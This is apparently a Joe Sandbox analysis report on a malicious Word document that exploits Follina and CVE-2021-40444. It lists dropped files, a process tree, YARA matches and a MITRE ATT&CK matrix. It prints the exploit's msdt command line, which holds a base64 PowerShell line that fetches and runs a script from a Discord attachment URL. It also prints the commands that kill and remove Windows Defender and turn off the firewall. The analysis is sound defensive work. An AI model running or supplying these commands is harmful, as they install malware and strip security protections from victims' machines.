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Created / dropped Files
C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.accdb
C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.ini
C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb
C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\5EFD149C-BD41-43EE-BC2A-
E0545656E37A
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\953582AF.png
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8E05CE4.html
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AAB8F95.html
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{16FBC318-43B8-4401-9A87-AC5D871EA28A}.tmp
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{5D79F234-F401-4DF1-BE07-0751AE8EEE89}.tmp
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\a[1].html
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\AppxProvider.dll
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\AssocProvider.dll
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\CbsProvider.dll
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\CompatProvider.dll
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismCore.dll
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C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismCorePS.dll
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismHost.exe
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismProv.dll
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DmiProvider.dll
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\FfuProvider.dll
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\FolderProvider.dll
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\GenericProvider.dll
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\IBSProvider.dll
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\AppxProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\AssocProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\CbsProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\CompatProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\DismCore.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\DismProv.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\DmiProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\FfuProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\FolderProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\GenericProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\IBSProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\ImagingProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\IntlProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\LogProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\MsiProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\OSProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\OfflineSetupProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\ProvProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\SetupPlatformProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\SmiProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\SysprepProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\TransmogProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\UnattendProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\VhdProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\WimProvider.dll.mui
C:\Users\user\AppData\Local\Temp\2ez4s4sm\2ez4s4sm.dll
C:\Users\user\AppData\Local\Temp\2ez4s4sm\CSCC4857CBF94FC43E4BEE19B9FB307AC3.TMP
C:\Users\user\AppData\Local\Temp\3diak4dk\3diak4dk.dll
C:\Users\user\AppData\Local\Temp\3diak4dk\CSC56B0CC0123154593BDAD723DDD27D88.TMP
C:\Users\user\AppData\Local\Temp\RES1F9B.tmp
C:\Users\user\AppData\Local\Temp\RES8678.tmp
C:\Users\user\AppData\Local\Temp\RESA72F.tmp
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jg5bteof.tz5.ps1
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zxw3el1z.0aw.psm1
C:\Users\user\AppData\Local\Temp\vniik5rq\CSCFD2BA8049D364133B9FE5D3896759AE.TMP
C:\Users\user\AppData\Local\Temp\vniik5rq\vniik5rq.dll
C:\Users\user\AppData\Roaming\Data\Tor\geoip
C:\Users\user\AppData\Roaming\Data\Tor\geoip6
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\v4nkfHg4d9.LNK
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
C:\Users\user\AppData\Roaming\Tor\libcrypto-1_1.dll
C:\Users\user\AppData\Roaming\Tor\libevent-2-1-7.dll
C:\Users\user\AppData\Roaming\Tor\libevent_core-2-1-7.dll
C:\Users\user\AppData\Roaming\Tor\libevent_extra-2-1-7.dll
C:\Users\user\AppData\Roaming\Tor\libgcc_s_dw2-1.dll
C:\Users\user\AppData\Roaming\Tor\libssl-1_1.dll
C:\Users\user\AppData\Roaming\Tor\libssp-0.dll
C:\Users\user\AppData\Roaming\Tor\libwinpthread-1.dll
C:\Users\user\AppData\Roaming\Tor\state.tmp
C:\Users\user\AppData\Roaming\Tor\tor-gencert.exe
C:\Users\user\AppData\Roaming\Tor\tor.exe
C:\Users\user\AppData\Roaming\Tor\zlib1.dll
C:\Users\user\AppData\Roaming\torZipped.zip
C:\Users\user\AppData\Roaming\tor\state (copy)
C:\Users\user\Desktop\~$nkfHg4d9.doc
C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\DiagPackage.diagpkg
C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\DiagPackage.dll
C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\RS_ProgramCompatibilityWizard.ps1
C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\TS_ProgramCompatibilityWizard.ps1
C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\VF_ProgramCompatibilityWizard.ps1
C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\en-US\CL_LocalizationData.psd1
C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\en-US\DiagPackage.dll.mui
C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\result\results.xsl

Static File Info
General
File Icon
Static OLE Info

General
OLE File "/opt/package/joesandbox/database/analysis/706117/sample/v4nkfHg4d9.doc"

Indicators
Summary
Document Summary
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Streams
Stream Path: \x1CompObj, File Type: data, Stream Size: 77

General

Stream Path: \x1Ole, File Type: data, Stream Size: 20
General

Stream Path: \x1Ole10Native, File Type: data, Stream Size: 2224196
General

Stream Path: \x3ObjInfo, File Type: data, Stream Size: 6
General

Network Behavior
Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTPS Proxied Packets
FTP Packets

Statistics
Behavior

System Behavior
Analysis Process: WINWORD.EXEPID: 5896, Parent PID: 788

General
File Activities
Registry Activities

Analysis Process: MSOSYNC.EXEPID: 2804, Parent PID: 5896
General
File Activities
Registry Activities

Analysis Process: msdt.exePID: 5324, Parent PID: 5896
General
File Activities

File Created

Analysis Process: csc.exePID: 5576, Parent PID: 612
General
File Activities

File Created
File Deleted
File Written
File Read

Analysis Process: cvtres.exePID: 2856, Parent PID: 5576
General
File Activities

Analysis Process: csc.exePID: 4128, Parent PID: 612
General
File Activities

File Created
File Deleted
File Written
File Read

Analysis Process: cvtres.exePID: 1316, Parent PID: 4128
General
File Activities

Analysis Process: Putty.exePID: 5812, Parent PID: 612
General
File Activities
Registry Activities

Analysis Process: csc.exePID: 3896, Parent PID: 612
General
File Activities

File Created
File Deleted
File Written
File Read

Analysis Process: cmd.exePID: 572, Parent PID: 5812
General
File Activities

File Read

Analysis Process: powershell.exePID: 5476, Parent PID: 5812
General
File Activities

File Created
File Deleted
File Written
File Read

Analysis Process: conhost.exePID: 4888, Parent PID: 572
General

Analysis Process: cvtres.exePID: 3204, Parent PID: 3896
General
File Activities

Analysis Process: conhost.exePID: 2860, Parent PID: 5476
General

Analysis Process: taskkill.exePID: 492, Parent PID: 572
General
File Activities

Analysis Process: taskkill.exePID: 5208, Parent PID: 572
General
File Activities

Analysis Process: msiexec.exePID: 4992, Parent PID: 572
General
File Activities

Analysis Process: sc.exePID: 4464, Parent PID: 572
General
File Activities
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Analysis Process: msiexec.exePID: 1516, Parent PID: 564
General
File Activities

Analysis Process: netsh.exePID: 3976, Parent PID: 572
General
File Activities

Analysis Process: Dism.exePID: 5584, Parent PID: 572
General
File Activities

Analysis Process: tor.exePID: 3756, Parent PID: 5812
General
File Activities

Analysis Process: conhost.exePID: 5616, Parent PID: 3756
General

Disassembly
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Windows Analysis Report 
v4nkfHg4d9.doc

Overview

General Information

Sample 
Name:

v4nkfHg4d9.doc

Analysis ID: 706117

MD5: cbc307d6059925…

SHA1: 8f0fc563f43cc14…

SHA256: 8d61ea9ef38b6e…

Tags: doc

Infos:

Detection

CVE-2021-40444,
Follina CVE-2022-

30190Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Yara detected Microsoft Office Expl…

Detected CVE-2021-40444 exploit

Antivirus detection for dropped file

Multi AV Scanner detection for subm…

Antivirus / Scanner detection for sub…

Multi AV Scanner detection for dom…

Disable Windows Defender real time…

Overwrites code with unconditional j…

Uses netsh to modify the Windows …

Found Tor onion address

Connects to many ports of the same…

Tries to detect debuggers (CloseHan…

Tries to evade analysis by executio…

Contains an external reference to an…

Tries to detect virtualization through…

Document exploit detected (process…

Disable Windows Defender notificati…

Hides threads from debuggers

Disables the Windows task manage…

Creates an undocumented autostart…

Modifies the windows firewall

Very long cmdline option found, this…

May sleep (evasive loops) to hinder…

Uses code obfuscation techniques (…

Detected potential crypto function

JA3 SSL client fingerprint seen in co…

Contains functionality to dynamicall…

HTTP GET or POST without a user …

Contains long sleeps (>= 3 min)

Found a high number of Window / U…

Modifies existing windows services

Potential document exploit detected…

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Uses a known web browser user age…

Drops PE files to the windows direc…

Checks if the current process is bei…

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

WINWORD.EXE (PID: 5896 cmdline: "C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /Automation -Embedding MD5:

0B9AB9B9C4DE429473D6450D4297A123)
MSOSYNC.EXE (PID: 2804 cmdline: C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe MD5: EA19F4A0D18162BE3A0C8DAD249ADE8C)

msdt.exe (PID: 5324 cmdline: C:\Windows\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu

IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64St
ring('+[char]34+'JCgkeCA9IEludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vY2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRzLzEwMTk3NjgyNDMzNDAyMDIwNDYvM
TAxOTk5NjQ5NTg1ODExODc0Ny9wb3dlcnNoZWxsLnBzMSAtVXNlQmFzaWNQYXJzaW5nOyBJbnZva2UtRXhwcmVzc2lvbiAkKCR4LkNvbnRlbnQpKQ=='+[char]34+'))'))))i/../.
./../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO MD5: 7F0C51DBA69B9DE5DDF6AA04CE3A69F4)
csc.exe (PID: 5576 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3diak4dk\3diak4dk.cmdline

MD5: 350C52F71BDED7B99668585C15D70EEA)
cvtres.exe (PID: 2856 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Loc

al\Temp\RES8678.tmp" "c:\Users\user\AppData\Local\Temp\3diak4dk\CSC56B0CC0123154593BDAD723DDD27D88.TMP" MD5: C09985AE74F0882F208D75DE27770DFA)
csc.exe (PID: 4128 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2ez4s4sm\2ez4s4sm.cmdline

MD5: 350C52F71BDED7B99668585C15D70EEA)
cvtres.exe (PID: 1316 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Loc

al\Temp\RESA72F.tmp" "c:\Users\user\AppData\Local\Temp\2ez4s4sm\CSCC4857CBF94FC43E4BEE19B9FB307AC3.TMP" MD5: C09985AE74F0882F208D75DE27770DFA)
Putty.exe (PID: 5812 cmdline: C:\Windows\TEMP\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe MD5: C435B2E60242FA557EC5FE675D63EE42)

cmd.exe (PID: 572 cmdline: cmd.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 492 cmdline: TASKKILL /F /IM MsMpEng.exe MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

taskkill.exe (PID: 5208 cmdline: TASKKILL /F /IM smartscreen.exe MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

msiexec.exe (PID: 4992 cmdline: msiexec /uninstall windowsdefender.msi /quiet MD5: 4767B71A318E201188A0D0A420C8B608)

sc.exe (PID: 4464 cmdline: sc config WinDefend start= disabled MD5: D79784553A9410D15E04766AAAB77CD6)

netsh.exe (PID: 3976 cmdline: netsh advfirewall set allprofiles state off MD5: 98CC37BBF363A38834253E22C80A8F32)

Dism.exe (PID: 5584 cmdline: Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet MD5:

BA4350783B9047DEC954065EA993C30A)
powershell.exe (PID: 5476 cmdline: powershell.exe MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 2860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

tor.exe (PID: 3756 cmdline: C:\Users\user\AppData\Roaming\Tor\tor.exe MD5: 055AE7C584A7B012955BF5D874F30CFA)

conhost.exe (PID: 5616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

csc.exe (PID: 3896 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vniik5rq\vniik5rq.cmdline

MD5: 350C52F71BDED7B99668585C15D70EEA)
cvtres.exe (PID: 3204 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Loc

al\Temp\RES1F9B.tmp" "c:\Users\user\AppData\Local\Temp\vniik5rq\CSCFD2BA8049D364133B9FE5D3896759AE.TMP" MD5: C09985AE74F0882F208D75DE27770DFA)
msiexec.exe (PID: 1516 cmdline: C:\Windows\system32\msiexec.exe /V MD5: 4767B71A318E201188A0D0A420C8B608)

cleanup

Process Tree
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⊘ No configs have been found

Source Rule Description Author Strings

document.xml.rels SUSP_Doc_Word
XMLRels_May22

Detects a 
suspicious pattern 
in docx 
document.xml.rels 
file as seen in 
CVE-2022-30190 / 
Follina exploitation

Tobias Michalski, 
Christian Burkard, 
Wojciech Cieslak

0x39:$a1: <Relationships
0x419:$a2: TargetMode="External"
0x3d1:$x1: .html!

Source Rule Description Author Strings

dump.pcap JoeSecurity_Follin
a

Yara detected 
Microsoft Office 
Exploit Follina / 
CVE-2022-30190

Joe Security

Source Rule Description Author Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INet
Cache\Content.MSO\AAB8F95.html

SUSP_Encoded_D
iscord_Attachment
_Oct21_1

Detects suspicious 
encoded URL to a 
Discord 
attachment (often 
used for malware 
hosting on a 
legitimate FQDN)

Florian Roth 0x1957:$enc_b01: Y2RuLmRpc2NvcmRhcHAuY29tL2F0
dGFjaG1lbnRz

C:\Users\user\AppData\Local\Microsoft\Windows\INet
Cache\Content.MSO\AAB8F95.html

SUSP_PS1_Msdt_
Execution_May22

Detects suspicious 
calls of msdt.exe 
as seen in CVE-
2022-30190 / 
Follina exploitation

Nasreddine 
Bencherchali, 
Christian Burkard

0x1821:$a: PCWDiagnostic
0x1815:$sa3: ms-msdt
0x1875:$sb3: IT_BrowseForFile=

C:\Users\user\AppData\Local\Microsoft\Windows\INet
Cache\Content.MSO\AAB8F95.html

EXPL_Follina_CV
E_2022_30190_M
sdt_MSProtocolUR
I_May22

Detects the 
malicious usage of 
the ms-msdt URI 
as seen in CVE-
2022-30190 / 
Follina exploitation

Tobias Michalski, 
Christian Burkard

0x1804:$re1: location.href = "ms-msdt:

C:\Users\user\AppData\Local\Microsoft\Windows\INet
Cache\Content.MSO\AAB8F95.html

JoeSecurity_Follin
a

Yara detected 
Microsoft Office 
Exploit Follina / 
CVE-2022-30190

Joe Security

C:\Users\user\AppData\Local\Microsoft\Windows\INet
Cache\IE\B87Z87FM\a[1].html

SUSP_Encoded_D
iscord_Attachment
_Oct21_1

Detects suspicious 
encoded URL to a 
Discord 
attachment (often 
used for malware 
hosting on a 
legitimate FQDN)

Florian Roth 0x1957:$enc_b01: Y2RuLmRpc2NvcmRhcHAuY29tL2F0
dGFjaG1lbnRz

Click to see the 11 entries

Source Rule Description Author Strings

00000003.00000002.601166734.0000000000870000.00000
004.00000020.00020000.00000000.sdmp

SUSP_Encoded_D
iscord_Attachment
_Oct21_1

Detects suspicious 
encoded URL to a 
Discord 
attachment (often 
used for malware 
hosting on a 
legitimate FQDN)

Florian Roth 0x1f66:$enc_b01: 
Y2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRz
0x3a80:$enc_b01: Y2RuLmRpc2NvcmRhcHAuY29tL2F0
dGFjaG1lbnRz

Malware Configuration

Yara Signatures

Initial Sample

PCAP (Network Tra c)

Dropped Files

Memory Dumps
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AV Detection

Exploits

Software Vulnerabilities

00000003.00000002.601166734.0000000000870000.00000
004.00000020.00020000.00000000.sdmp

SUSP_PS1_Msdt_
Execution_May22

Detects suspicious 
calls of msdt.exe 
as seen in CVE-
2022-30190 / 
Follina exploitation

Nasreddine 
Bencherchali, 
Christian Burkard

0x1cfc:$a: PCWDiagnostic
0x394b:$a: PCWDiagnostic
0x4266:$a: PCWDiagnostic
0x500e:$a: PCWDiagnostic
0x1c94:$sa1: msdt.exe
0x1cd0:$sa1: msdt.exe
0x21f4:$sa1: msdt.exe
0x3935:$sa1: msdt.exe
0x1ce4:$sa3: ms-msdt
0x393f:$sa3: ms-msdt
0x1da2:$sb3: IT_BrowseForFile=
0x399e:$sb3: IT_BrowseForFile=

00000003.00000002.601166734.0000000000870000.00000
004.00000020.00020000.00000000.sdmp

JoeSecurity_Follin
a

Yara detected 
Microsoft Office 
Exploit Follina / 
CVE-2022-30190

Joe Security

00000003.00000002.609276598.00000000046A0000.00000
004.00000800.00020000.00000000.sdmp

SUSP_Encoded_D
iscord_Attachment
_Oct21_1

Detects suspicious 
encoded URL to a 
Discord 
attachment (often 
used for malware 
hosting on a 
legitimate FQDN)

Florian Roth 0x42ca:$enc_b01: Y2RuLmRpc2NvcmRhcHAuY29tL2F0
dGFjaG1lbnRz
0x733a:$enc_b01: Y2RuLmRpc2NvcmRhcHAuY29tL2F0
dGFjaG1lbnRz

00000003.00000002.608359190.0000000000A80000.00000
004.00000020.00020000.00000000.sdmp

SUSP_Encoded_D
iscord_Attachment
_Oct21_1

Detects suspicious 
encoded URL to a 
Discord 
attachment (often 
used for malware 
hosting on a 
legitimate FQDN)

Florian Roth 0x2b2a:$enc_b01: Y2RuLmRpc2NvcmRhcHAuY29tL2F0
dGFjaG1lbnRz

Click to see the 11 entries

Source Rule Description Author Strings

⊘ No Sigma rule has matched

⊘ No Snort rule has matched

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Yara detected Microsoft Office Exploit Follina CVE-2022-30190

Detected CVE-2021-40444 exploit

Document exploit detected (process start blacklist hit)
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Networking

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Lowering of HIPS / PFW / Operating System Security Settings

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

Valid
Accounts

1
Windows
Manageme
nt
Instrument
ation

1
DLL Side-
Loading

1
DLL Side-
Loading

5 1
Disable or
Modify
Tools

1
Credential
API
Hooking

3
File and
Directory
Discovery

Remote
Services

1
Archive
Collected
Data

1
Exfiltration
Over
Alternative
Protocol

1
Ingress
Tool
Transfer

Eavesdrop
on Insecure
Network
Communic
ation

Remotely
Track
Device
Without
Authorizati
on

Modify
System
Partition

Default
Accounts

1
Native API

2 1
Windows
Service

2
Bypass
User
Access
Control

1
Obfuscated
Files or
Information

LSASS
Memory

2 1 5
System
Information
Discovery

Remote
Desktop
Protocol

1
Credential
API
Hooking

Exfiltration
Over
Bluetooth

1 1
Encrypted
Channel

Exploit SS7
to Redirect
Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorizati
on

Device
Lockout

Domain
Accounts

2 3
Exploitation
for Client
Execution

1
Registry
Run Keys /
Startup
Folder

2 1
Windows
Service

1
Timestomp

Security
Account
Manager

1
Query
Registry

SMB/Wind
ows Admin
Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

1
Non-
Standard
Port

Exploit SS7
to Track
Device
Location

Obtain
Device
Cloud
Backups

Delete
Device
Data

Local
Accounts

1 2
Command
and
Scripting
Interpreter

Logon
Script
(Mac)

1 1
Process
Injection

1
DLL Side-
Loading

NTDS 4 1 1
Security
Software
Discovery

Distributed
Component
Object
Model

Input
Capture

Scheduled
Transfer

2
Non-
Application
Layer
Protocol

SIM Card
Swap

Carrier
Billing
Fraud

Found Tor onion address

Connects to many ports of the same IP (likely port scanning)

Contains an external reference to another file

Creates an undocumented autostart registry key

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Tries to evade analysis by execution special instruction (VM detection)

Tries to detect virtualization through RDTSC time measurements

Tries to detect debuggers (CloseHandle check)

Hides threads from debuggers

Disable Windows Defender real time protection (registry)

Uses netsh to modify the Windows network and firewall settings

Disable Windows Defender notifications (registry)

Disables the Windows task manager (taskmgr)

Modifies the windows firewall

Mitre Att&ck Matrix
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Cloud
Accounts

1
Service
Execution

Network
Logon
Script

1
Registry
Run Keys /
Startup
Folder

2
Bypass
User
Access
Control

LSA
Secrets

1
Process
Discovery

SSH Keylogging Data
Transfer
Size Limits

2 3
Application
Layer
Protocol

Manipulate
Device
Communic
ation

Manipulate
App Store
Rankings
or Ratings

Replication
Through
Removable
Media

Launchd Rc.commo
n

Rc.commo
n

1 1
Masqueradi
ng

Cached
Domain
Credentials

1 3 1
Virtualizatio
n/Sandbox
Evasion

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

1
Proxy

Jamming or
Denial of
Service

Abuse
Accessibilit
y Features

External
Remote
Services

Scheduled
Task

Startup
Items

Startup
Items

1 3 1
Virtualizatio
n/Sandbox
Evasion

DCSync 1
Application
Window
Discovery

Windows
Remote
Manageme
nt

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-
Fi Access
Points

Data
Encrypted
for Impact

Drive-by
Compromis
e

Command
and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

1 1
Process
Injection

Proc
Filesystem

1
Remote
System
Discovery

Shared
Webroot

Credential
API
Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application
Layer
Protocol

Downgrade
to Insecure
Protocols

Generate
Fraudulent
Advertising
Revenue

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

Behavior Graph

ID: 706117

Sample: v4nkfHg4d9.doc

Startdate: 20/09/2022

Architecture: WINDOWS

Score: 100

Detected CVE-2021-40444
exploit

Multi AV Scanner detection
for domain / URL

Antivirus detection
for dropped file 7 other signatures

Putty.exe

12 17

        started       

WINWORD.EXE

50 66

        started       

csc.exe

3

        started       

3 other processes

dist.torproject.org

38.229.82.25, 443, 49730

TEAM-CYMRUUS

United States

www.torproject.org

116.202.120.166, 443, 49728, 49729

HETZNER-ASDE

Germany

C:\Users\user\AppData\Roaming\Tor\zlib1.dll, PE32

dropped

C:\Users\user\AppData\Roaming\Tor\tor.exe, PE32

dropped

C:\Users\user\AppData\...\tor-gencert.exe, PE32

dropped

8 other files (none is malicious)

dropped

Overwrites code with
unconditional jumps
- possibly settings

hooks in foreign process

Creates an undocumented
autostart registry key

Disable Windows Defender
notifications (registry) 6 other signatures

cmd.exe

1

        started       

tor.exe

5

        started       

powershell.exe

32

        started       

ftpupload.net

185.27.134.11, 16577, 21, 42159

WILDCARD-ASWildcardUKLimitedGB

United Kingdom

C:\Users\user\AppData\Local\...\a[1].html, HTML

dropped

C:\Users\user\AppData\Local\...\AAB8F95.html, HTML

dropped

C:\Users\user\AppData\Local\...\A8E05CE4.html, HTML

dropped

msdt.exe

21

        started       

MSOSYNC.EXE

5 12

        started       C:\Users\user\AppData\Local\...\vniik5rq.dll, PE32

dropped

cvtres.exe

1

        started       2 other files (none is malicious)

dropped

cvtres.exe

1

        started       

cvtres.exe

1

        started       

Uses netsh to modify
the Windows network
and firewall settings

Modifies the windows
firewall

Dism.exe

41

        started       

taskkill.exe

1

        started       

taskkill.exe

1

        started       

4 other processes

185.129.61.3, 443, 49737

ZENCURITY-NETDK

Denmark

217.12.221.131, 443, 49736

ITLASUA

Ukraine

2 other IPs or domains

conhost.exe

        started       

conhost.exe

        started       C:\Windows\Temp\...\DiagPackage.dll.mui, PE32

dropped

